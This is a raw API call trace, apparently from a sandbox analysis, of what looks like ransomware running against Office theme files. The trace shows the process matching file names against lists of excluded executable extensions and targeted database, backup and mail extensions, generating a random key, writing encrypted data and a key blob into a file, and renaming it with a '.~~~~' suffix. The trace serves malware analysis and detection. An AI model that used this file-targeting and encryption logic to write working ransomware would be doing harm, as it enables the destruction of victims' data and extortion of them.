	[0082.886] lstrlenW (lpString=".SQB") returned 4
	[0082.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".SQB") returned 0x0
	[0082.886] lstrlenW (lpString=".vhd") returned 4
	[0082.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".vhd") returned 0x0
	[0082.886] lstrlenW (lpString=".bac") returned 4
	[0082.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".bac") returned 0x0
	[0082.886] lstrlenW (lpString=".mdf") returned 4
	[0082.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".mdf") returned 0x0
	[0082.886] lstrlenW (lpString=".BAK") returned 4
	[0082.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".BAK") returned 0x0
	[0082.886] lstrlenW (lpString=".BAC") returned 4
	[0082.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".BAC") returned 0x0
	[0082.886] lstrlenW (lpString=".dbs") returned 4
	[0082.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".dbs") returned 0x0
	[0082.886] lstrlenW (lpString=".vhdx") returned 5
	[0082.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".vhdx") returned 0x0
	[0082.886] lstrlenW (lpString=".NDF") returned 4
	[0082.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".NDF") returned 0x0
	[0082.886] lstrlenW (lpString=".dat") returned 4
	[0082.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".dat") returned 0x0
	[0082.887] lstrlenW (lpString=".DBS") returned 4
	[0082.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".DBS") returned 0x0
	[0082.887] lstrlenW (lpString=".CKP") returned 4
	[0082.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".CKP") returned 0x0
	[0082.887] lstrlenW (lpString=".edb") returned 4
	[0082.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".edb") returned 0x0
	[0082.887] lstrlenW (lpString=".PST") returned 4
	[0082.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".PST") returned 0x0
	[0082.887] lstrlenW (lpString=".dbf") returned 4
	[0082.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".dbf") returned 0x0
	[0082.887] lstrlenW (lpString=".SQL") returned 4
	[0082.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".SQL") returned 0x0
	[0082.887] lstrlenW (lpString=".pst") returned 4
	[0082.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".pst") returned 0x0
	[0082.887] lstrlenW (lpString=".dbv") returned 4
	[0082.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".dbv") returned 0x0
	[0082.887] lstrlenW (lpString=".SDF") returned 4
	[0082.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".SDF") returned 0x0
	[0082.887] lstrlenW (lpString=".dtxs") returned 5
	[0082.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".dtxs") returned 0x0
	[0082.887] lstrlenW (lpString=".db3") returned 4
	[0082.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".db3") returned 0x0
	[0082.887] lstrlenW (lpString=".OST") returned 4
	[0082.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".OST") returned 0x0
	[0082.887] lstrlenW (lpString=".dbx") returned 4
	[0082.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".dbx") returned 0x0
	[0082.888] lstrlenW (lpString=".DB3") returned 4
	[0082.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".DB3") returned 0x0
	[0082.888] lstrlenW (lpString=".DAT") returned 4
	[0082.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".DAT") returned 0x0
	[0082.888] lstrlenW (lpString=".VHDX") returned 5
	[0082.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".VHDX") returned 0x0
	[0082.888] lstrlenW (lpString=".ndf") returned 4
	[0082.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".ndf") returned 0x0
	[0082.888] lstrlenW (lpString=".DB") returned 3
	[0082.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".DB") returned 0x0
	[0082.888] lstrlenW (lpString=".sql") returned 4
	[0082.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".sql") returned 0x0
	[0082.888] lstrlenW (lpString=".MYD") returned 4
	[0082.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".MYD") returned 0x0
	[0082.888] lstrlenW (lpString=".DBT") returned 4
	[0082.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".DBT") returned 0x0
	[0082.888] lstrlenW (lpString=".ACCDB") returned 6
	[0082.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".ACCDB") returned 0x0
	[0082.888] lstrlenW (lpString=".fdb") returned 4
	[0082.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".fdb") returned 0x0
	[0082.888] lstrlenW (lpString=".bak") returned 4
	[0082.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".bak") returned 0x0
	[0082.888] lstrlenW (lpString=".myd") returned 4
	[0082.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".myd") returned 0x0
	[0082.888] lstrlenW (lpString=".DTXS") returned 5
	[0082.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".DTXS") returned 0x0
	[0082.888] lstrlenW (lpString=".ckp") returned 4
	[0082.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".ckp") returned 0x0
	[0082.889] lstrlenW (lpString=".dbt") returned 4
	[0082.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".dbt") returned 0x0
	[0082.889] lstrlenW (lpString=".db") returned 3
	[0082.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".db") returned 0x0
	[0082.889] lstrlenW (lpString=".TXT") returned 4
	[0082.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".TXT") returned 0x0
	[0082.889] lstrlenW (lpString=".MDF") returned 4
	[0082.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".MDF") returned 0x0
	[0082.889] lstrlenW (lpString=".bdb") returned 4
	[0082.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".bdb") returned 0x0
	[0082.889] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0082.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.889] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0082.890] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.890] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0082.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0082.890] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20288045635) returned 1
	[0082.890] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9b3ea4f0, dwHighDateTime=0x1d60e1e)) 
	[0082.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0082.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0082.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0082.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac740
	[0082.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac740 | out: hHeap=0x300000) returned 1
	[0082.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e730
	[0082.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c588
	[0082.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e730 | out: hHeap=0x300000) returned 1
	[0082.891] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0082.892] GetLastError () returned 0x0
	[0082.892] GetLastError () returned 0x0
	[0082.892] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0082.892] GetLastError () returned 0x0
	[0082.892] GetLastError () returned 0x0
	[0082.894] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffdd5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.894] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x22b, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x22b, lpOverlapped=0x0) returned 1
	[0082.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.894] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.894] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.894] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.894] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.894] CloseHandle (hObject=0x124) returned 1
	[0082.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4b10
	[0082.895] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf.~~~~")) returned 1
	[0082.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4b10 | out: hHeap=0x300000) returned 1
	[0082.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0082.897] GetLastError () returned 0x0
	[0082.897] RtlWakeConditionVariable () returned 0x365f70
	[0082.897] GetCurrentThreadId () returned 0x3a4
	[0082.897] GetCurrentThreadId () returned 0x3a4
	[0082.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0082.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a50d0 | out: hHeap=0x300000) returned 1
	[0082.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac708 | out: hHeap=0x300000) returned 1
	[0082.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a50d0
	[0082.897] lstrlenW (lpString=".scr") returned 4
	[0082.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0082.897] lstrlenW (lpString=".cmd") returned 4
	[0082.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0082.897] lstrlenW (lpString=".dll") returned 4
	[0082.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0082.898] lstrlenW (lpString=".bat") returned 4
	[0082.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0082.898] lstrlenW (lpString=".cpl") returned 4
	[0082.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0082.898] lstrlenW (lpString=".sys") returned 4
	[0082.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0082.898] lstrlenW (lpString=".msc") returned 4
	[0082.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0082.898] lstrlenW (lpString=".com") returned 4
	[0082.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0082.898] lstrlenW (lpString=".lnk") returned 4
	[0082.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0082.898] lstrlenW (lpString=".msp") returned 4
	[0082.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0082.898] lstrlenW (lpString=".pif") returned 4
	[0082.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0082.898] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0082.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0082.899] lstrlenW (lpString=".sqb") returned 4
	[0082.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0082.899] lstrlenW (lpString=".ost") returned 4
	[0082.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0082.899] lstrlenW (lpString=".txt") returned 4
	[0082.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0082.900] lstrlenW (lpString=".mdt") returned 4
	[0082.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0082.900] lstrlenW (lpString=".BDB") returned 4
	[0082.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0082.900] lstrlenW (lpString=".eql") returned 4
	[0082.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0082.900] lstrlenW (lpString=".DBF") returned 4
	[0082.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0082.900] lstrlenW (lpString=".EQL") returned 4
	[0082.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0082.900] lstrlenW (lpString=".FDB") returned 4
	[0082.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0082.900] lstrlenW (lpString=".EDB") returned 4
	[0082.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0082.900] lstrlenW (lpString=".DACPAC") returned 7
	[0082.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0082.900] lstrlenW (lpString=".VHD") returned 4
	[0082.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0082.900] lstrlenW (lpString=".DBV") returned 4
	[0082.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0082.900] lstrlenW (lpString=".dacpac") returned 7
	[0082.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0082.900] lstrlenW (lpString=".sdf") returned 4
	[0082.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0082.900] lstrlenW (lpString=".accdb") returned 6
	[0082.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0082.900] lstrlenW (lpString=".DBX") returned 4
	[0082.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0082.901] lstrlenW (lpString=".MDT") returned 4
	[0082.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0082.901] lstrlenW (lpString=".SQB") returned 4
	[0082.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0082.901] lstrlenW (lpString=".vhd") returned 4
	[0082.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0082.901] lstrlenW (lpString=".bac") returned 4
	[0082.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0082.901] lstrlenW (lpString=".mdf") returned 4
	[0082.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0082.901] lstrlenW (lpString=".BAK") returned 4
	[0082.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0082.901] lstrlenW (lpString=".BAC") returned 4
	[0082.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0082.901] lstrlenW (lpString=".dbs") returned 4
	[0082.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0082.901] lstrlenW (lpString=".vhdx") returned 5
	[0082.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0082.901] lstrlenW (lpString=".NDF") returned 4
	[0082.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0082.901] lstrlenW (lpString=".dat") returned 4
	[0082.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0082.901] lstrlenW (lpString=".DBS") returned 4
	[0082.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0082.901] lstrlenW (lpString=".CKP") returned 4
	[0082.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0082.901] lstrlenW (lpString=".edb") returned 4
	[0082.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0082.902] lstrlenW (lpString=".PST") returned 4
	[0082.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0082.902] lstrlenW (lpString=".dbf") returned 4
	[0082.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0082.902] lstrlenW (lpString=".SQL") returned 4
	[0082.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0082.902] lstrlenW (lpString=".pst") returned 4
